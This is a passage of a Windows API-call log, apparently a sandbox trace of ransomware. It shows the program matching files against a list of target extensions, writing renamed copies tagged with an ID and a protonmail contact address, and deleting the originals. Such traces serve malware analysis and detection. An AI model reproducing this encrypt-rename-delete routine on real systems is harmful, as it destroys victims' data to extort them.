	[0187.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG") returned 68
	[0187.775] lstrlenW (lpString=".1cd") returned 4
	[0187.775] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0187.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG") returned 68
	[0187.775] lstrlenW (lpString=".jpg") returned 4
	[0187.775] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0187.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG") returned 68
	[0187.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG") returned 68
	[0187.776] lstrlenW (lpString=".doc") returned 4
	[0187.776] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0187.776] lstrlenW (lpString=".docx") returned 5
	[0187.776] lstrcmpiW (lpString1=".docx", lpString2="6.JPG") returned -1
	[0187.776] lstrlenW (lpString=".pdf") returned 4
	[0187.776] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0187.776] lstrlenW (lpString=".xls") returned 4
	[0187.776] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0187.776] lstrlenW (lpString=".xlsx") returned 5
	[0187.776] lstrcmpiW (lpString1=".xlsx", lpString2="6.JPG") returned -1
	[0187.776] lstrlenW (lpString=".ppt") returned 4
	[0187.776] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0187.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG") returned 68
	[0187.776] lstrlenW (lpString=".zip") returned 4
	[0187.776] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0187.776] lstrlenW (lpString=".rar") returned 4
	[0187.776] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0187.776] lstrlenW (lpString=".bz2") returned 4
	[0187.776] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0187.776] lstrlenW (lpString=".7z") returned 3
	[0187.776] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0187.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG") returned 68
	[0187.776] lstrlenW (lpString=".dbf") returned 4
	[0187.776] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0187.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG") returned 68
	[0187.776] lstrlenW (lpString=".1cd") returned 4
	[0187.776] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0187.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG") returned 68
	[0187.776] lstrlenW (lpString=".jpg") returned 4
	[0187.777] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0187.777] lstrcmpiW (lpString1=".GIF", lpString2=".html") returned -1
	[0187.777] lstrlenW (lpString="J0099197.GIF") returned 12
	[0187.777] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099197.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ac
	[0187.778] GetFileSizeEx (in: hFile=0x5ac, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=10898) returned 1
	[0187.778] CloseHandle (hObject=0x5ac) returned 1
	[0187.778] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099197.gif")) returned 0x220
	[0187.778] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099197.gif.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0187.778] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099197.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ac
	[0187.779] SetFilePointerEx (in: hFile=0x5ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0187.779] SetFilePointerEx (in: hFile=0x5ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0187.779] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099197.gif.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588
	[0187.780] GetLastError () returned 0x0
	[0187.780] ReadFile (in: hFile=0x5ac, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0x2a92, lpOverlapped=0x0) returned 1
	[0187.788] WriteFile (in: hFile=0x588, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0x2aa0, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0x2aa0, lpOverlapped=0x0) returned 1
	[0187.790] ReadFile (in: hFile=0x5ac, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1
	[0187.790] WriteFile (in: hFile=0x588, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1
	[0187.790] SetEndOfFile (hFile=0x588) returned 1
	[0187.790] CloseHandle (hObject=0x588) returned 1
	[0187.790] SetFilePointerEx (in: hFile=0x5ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0187.790] SetEndOfFile (hFile=0x5ac) returned 1
	[0187.794] CloseHandle (hObject=0x5ac) returned 1
	[0187.794] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0187.794] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099197.gif")) returned 1
	[0187.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF") returned 68
	[0187.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF") returned 68
	[0187.795] lstrlenW (lpString=".doc") returned 4
	[0187.795] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0187.795] lstrlenW (lpString=".docx") returned 5
	[0187.795] lstrcmpiW (lpString1=".docx", lpString2="7.GIF") returned -1
	[0187.795] lstrlenW (lpString=".pdf") returned 4
	[0187.795] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0187.795] lstrlenW (lpString=".xls") returned 4
	[0187.795] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0187.795] lstrlenW (lpString=".xlsx") returned 5
	[0187.795] lstrcmpiW (lpString1=".xlsx", lpString2="7.GIF") returned -1
	[0187.795] lstrlenW (lpString=".ppt") returned 4
	[0187.795] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0187.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF") returned 68
	[0187.796] lstrlenW (lpString=".zip") returned 4
	[0187.796] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0187.796] lstrlenW (lpString=".rar") returned 4
	[0187.796] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0187.796] lstrlenW (lpString=".bz2") returned 4
	[0187.796] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0187.796] lstrlenW (lpString=".7z") returned 3
	[0187.796] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0187.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF") returned 68
	[0187.796] lstrlenW (lpString=".dbf") returned 4
	[0187.796] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0187.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF") returned 68
	[0187.796] lstrlenW (lpString=".1cd") returned 4
	[0187.796] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0187.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF") returned 68
	[0187.796] lstrlenW (lpString=".jpg") returned 4
	[0187.796] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0187.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF") returned 68
	[0187.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF") returned 68
	[0187.796] lstrlenW (lpString=".doc") returned 4
	[0187.796] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0187.796] lstrlenW (lpString=".docx") returned 5
	[0187.796] lstrcmpiW (lpString1=".docx", lpString2="7.GIF") returned -1
	[0187.796] lstrlenW (lpString=".pdf") returned 4
	[0187.796] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0187.796] lstrlenW (lpString=".xls") returned 4
	[0187.797] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0187.797] lstrlenW (lpString=".xlsx") returned 5
	[0187.797] lstrcmpiW (lpString1=".xlsx", lpString2="7.GIF") returned -1
	[0187.797] lstrlenW (lpString=".ppt") returned 4
	[0187.797] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0187.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF") returned 68
	[0187.797] lstrlenW (lpString=".zip") returned 4
	[0187.797] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0187.797] lstrlenW (lpString=".rar") returned 4
	[0187.797] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0187.797] lstrlenW (lpString=".bz2") returned 4
	[0187.797] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0187.797] lstrlenW (lpString=".7z") returned 3
	[0187.797] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0187.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF") returned 68
	[0187.797] lstrlenW (lpString=".dbf") returned 4
	[0187.797] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0187.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF") returned 68
	[0187.797] lstrlenW (lpString=".1cd") returned 4
	[0187.797] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0187.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF") returned 68
	[0187.797] lstrlenW (lpString=".jpg") returned 4
	[0187.797] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0187.797] lstrcmpiW (lpString1=".GIF", lpString2=".html") returned -1
	[0187.797] lstrlenW (lpString="J0099198.GIF") returned 12
	[0187.798] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099198.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ac
	[0187.799] GetFileSizeEx (in: hFile=0x5ac, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=5259) returned 1
	[0187.799] CloseHandle (hObject=0x5ac) returned 1
	[0187.799] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099198.gif")) returned 0x220
	[0187.799] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099198.gif.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0187.799] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099198.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ac
	[0187.799] SetFilePointerEx (in: hFile=0x5ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0187.800] SetFilePointerEx (in: hFile=0x5ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0187.800] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099198.gif.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588
	[0187.800] GetLastError () returned 0x0
	[0187.800] ReadFile (in: hFile=0x5ac, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0x148b, lpOverlapped=0x0) returned 1
	[0187.804] WriteFile (in: hFile=0x588, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0x1490, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0x1490, lpOverlapped=0x0) returned 1
	[0187.931] ReadFile (in: hFile=0x5ac, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1
	[0187.931] WriteFile (in: hFile=0x588, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1
	[0187.932] SetEndOfFile (hFile=0x588) returned 1
	[0187.932] CloseHandle (hObject=0x588) returned 1
	[0187.932] SetFilePointerEx (in: hFile=0x5ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0187.932] SetEndOfFile (hFile=0x5ac) returned 1
	[0187.935] CloseHandle (hObject=0x5ac) returned 1
	[0187.935] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0187.935] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099198.gif")) returned 1
	[0187.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF") returned 68
	[0187.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF") returned 68
	[0187.936] lstrlenW (lpString=".doc") returned 4
	[0187.936] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0187.936] lstrlenW (lpString=".docx") returned 5
	[0187.936] lstrcmpiW (lpString1=".docx", lpString2="8.GIF") returned -1
	[0187.936] lstrlenW (lpString=".pdf") returned 4
	[0187.936] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0187.937] lstrlenW (lpString=".xls") returned 4
	[0187.937] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0187.937] lstrlenW (lpString=".xlsx") returned 5
	[0187.937] lstrcmpiW (lpString1=".xlsx", lpString2="8.GIF") returned -1
	[0187.937] lstrlenW (lpString=".ppt") returned 4
	[0187.937] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0187.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF") returned 68
	[0187.937] lstrlenW (lpString=".zip") returned 4
	[0187.937] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0187.937] lstrlenW (lpString=".rar") returned 4
	[0187.937] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0187.937] lstrlenW (lpString=".bz2") returned 4
	[0187.937] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0187.937] lstrlenW (lpString=".7z") returned 3
	[0187.937] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0187.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF") returned 68
	[0187.937] lstrlenW (lpString=".dbf") returned 4
	[0187.937] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0187.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF") returned 68
	[0187.937] lstrlenW (lpString=".1cd") returned 4
	[0187.937] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0187.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF") returned 68
	[0187.937] lstrlenW (lpString=".jpg") returned 4
	[0187.937] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0187.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF") returned 68
	[0187.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF") returned 68
	[0187.938] lstrlenW (lpString=".doc") returned 4
	[0187.938] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0187.938] lstrlenW (lpString=".docx") returned 5
	[0187.938] lstrcmpiW (lpString1=".docx", lpString2="8.GIF") returned -1
	[0187.938] lstrlenW (lpString=".pdf") returned 4
	[0187.938] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0187.938] lstrlenW (lpString=".xls") returned 4
	[0187.938] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0187.938] lstrlenW (lpString=".xlsx") returned 5
	[0187.938] lstrcmpiW (lpString1=".xlsx", lpString2="8.GIF") returned -1
	[0187.938] lstrlenW (lpString=".ppt") returned 4
	[0187.938] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0187.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF") returned 68
	[0187.938] lstrlenW (lpString=".zip") returned 4
	[0187.938] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0187.938] lstrlenW (lpString=".rar") returned 4
	[0187.938] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0187.938] lstrlenW (lpString=".bz2") returned 4
	[0187.938] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0187.938] lstrlenW (lpString=".7z") returned 3
	[0187.938] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0187.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF") returned 68
	[0187.938] lstrlenW (lpString=".dbf") returned 4
	[0187.938] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0187.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF") returned 68
	[0187.938] lstrlenW (lpString=".1cd") returned 4
	[0187.938] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0187.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF") returned 68
	[0187.939] lstrlenW (lpString=".jpg") returned 4
	[0187.939] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0187.939] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0187.939] lstrlenW (lpString="J0099204.WMF") returned 12
	[0187.939] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099204.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ac
	[0187.940] GetFileSizeEx (in: hFile=0x5ac, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=17854) returned 1
	[0187.940] CloseHandle (hObject=0x5ac) returned 1
	[0187.940] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099204.wmf")) returned 0x220
	[0187.940] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099204.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0187.940] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099204.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ac
	[0187.940] SetFilePointerEx (in: hFile=0x5ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0187.940] SetFilePointerEx (in: hFile=0x5ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0187.940] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099204.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588
	[0187.941] GetLastError () returned 0x0
	[0187.941] ReadFile (in: hFile=0x5ac, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0x45be, lpOverlapped=0x0) returned 1
	[0187.944] WriteFile (in: hFile=0x588, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0x45c0, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0x45c0, lpOverlapped=0x0) returned 1
	[0187.945] ReadFile (in: hFile=0x5ac, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1
	[0187.945] WriteFile (in: hFile=0x588, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1
	[0187.945] SetEndOfFile (hFile=0x588) returned 1
	[0187.945] CloseHandle (hObject=0x588) returned 1
	[0187.946] SetFilePointerEx (in: hFile=0x5ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0187.946] SetEndOfFile (hFile=0x5ac) returned 1
	[0187.952] CloseHandle (hObject=0x5ac) returned 1
	[0187.952] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0187.952] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099204.wmf")) returned 1
	[0187.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF") returned 68
	[0187.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF") returned 68
	[0187.953] lstrlenW (lpString=".doc") returned 4
	[0187.953] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0187.953] lstrlenW (lpString=".docx") returned 5
	[0187.953] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0187.953] lstrlenW (lpString=".pdf") returned 4
	[0187.953] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0187.953] lstrlenW (lpString=".xls") returned 4
	[0187.953] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0187.953] lstrlenW (lpString=".xlsx") returned 5
	[0187.953] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0187.953] lstrlenW (lpString=".ppt") returned 4
	[0187.953] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0187.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF") returned 68
	[0187.954] lstrlenW (lpString=".zip") returned 4
	[0187.954] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0187.954] lstrlenW (lpString=".rar") returned 4
	[0187.954] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0187.954] lstrlenW (lpString=".bz2") returned 4
	[0187.954] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0187.954] lstrlenW (lpString=".7z") returned 3
	[0187.954] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0187.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF") returned 68
	[0187.954] lstrlenW (lpString=".dbf") returned 4
	[0187.954] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0187.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF") returned 68
	[0187.954] lstrlenW (lpString=".1cd") returned 4
